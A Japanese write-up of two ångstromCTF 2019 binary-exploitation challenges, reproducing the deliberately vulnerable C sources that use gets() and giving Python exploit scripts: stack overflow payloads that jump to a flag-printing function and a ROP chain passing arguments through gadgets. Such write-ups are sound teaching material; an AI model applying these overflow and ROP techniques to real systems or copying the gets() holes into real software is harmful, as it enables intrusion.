ångstromCTF 2019 Writeup
はじめに
ångstromCTF 2019 に参加した際に自分が解答した問題についてwriteupをまとめたいと思います. チームContrailとして参加しました.
エクスプロイトコードは重要な部分だけ掲載しています.
解いた問題
- Aquarium
- Chain of Rope
Aquarium
#include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } struct fish_tank { char name[50]; int fish; int fish_size; int water; int width; int length; int height; }; struct fish_tank create_aquarium() { struct fish_tank tank; printf("Enter the number of fish in your fish tank: "); scanf("%d", &tank.fish); getchar(); printf("Enter the size of the fish in your fish tank: "); scanf("%d", &tank.fish_size); getchar(); printf("Enter the amount of water in your fish tank: "); scanf("%d", &tank.water); getchar(); printf("Enter the width of your fish tank: "); scanf("%d", &tank.width); getchar(); printf("Enter the length of your fish tank: "); scanf("%d", &tank.length); getchar(); printf("Enter the height of your fish tank: "); scanf("%d", &tank.height); getchar(); printf("Enter the name of your fish tank: "); char name[50]; gets(name); strcpy(name, tank.name); return tank; } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); struct fish_tank tank; tank = create_aquarium(); if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) { printf("Your fish tank has overflowed!\n"); return 1; } printf("Nice fish tank you have there.\n"); return 0; }
方針
gets()が使用されているためバッファオーバーフローが狙えそうです.gets()はマニュアルにあるように 使用すべきでない 関数です.なぜなら,入力長をチェックしないため改行(もしくはEOF)まで入力を受け続けるからです.
エクスプロイトコード
def main(): payload = "A" * 152 payload += p(0x4011b6) # 通信部分 #read_until(s, "") read_until(s, "Enter the number of fish in your fish tank: ") s.sendall("1\n") read_until(s, "Enter the size of the fish in your fish tank: ") s.sendall("0\n") read_until(s, "Enter the amount of water in your fish tank: ") s.sendall("1\n") read_until(s, "Enter the width of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the length of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the height of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the name of your fish tank: ") s.sendall(payload + "\n") sleep(1) print[s.recv(1024)]
Chain of Rope
#include <stdlib.h> #include <stdio.h> #include <string.h> int userToken = 0; int balance = 0; int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; } int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; } void getInfo () { printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char name [32]; printf("--== ROPE CHAIN BLACK MARKET ==--\n"); printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n"); printf("What would you like to do?\n"); printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0; }
方針
問題のソースコードを見た第一印象は めんどくs 複雑な処理をしているなと感じました.
ROPで引数を渡しながら関数を順に呼び出す方法も考えられましたが,gets()のバッファオーバーフローを利用してflag()の途中(0x401231
)へ処理を飛ばしました.
エクスプロイトコード
def main(): payload = "A" * 56 payload += p(0x401231) # 通信部分 read_until(s, "access") s.sendall("1\n") s.sendall(payload + "\n") sleep(1) print [s.recv(1024)]
別解
別解というよりはこちらが想定解だと思われます.
def main(): payload = "A" * 56 payload += p(0x401196) # authorize payload += p(0x401403) # pop_rdi_ret payload += p(0xdeadbeef) # arg1 payload += p(0x4011ab) # addBalance payload += p(0x401403) # pop_rdi_ret payload += p(0xba5eba11) # arg1 payload += p(0x401401) # pop_rsi_pop_r15_ret payload += p(0xbedabb1e) # arg2 payload += p(0xdeadbeef) # dummy payload += p(0x4011eb) # flag # 通信部分 read_until(s, "access") s.sendall("1\n") s.sendall(payload + "\n") sleep(1) print s.recv(1024)
まとめ
今回解答できた問題はどちらも同じ手法であったため,より多くの手法を身に付けてチームに貢献したいと思います.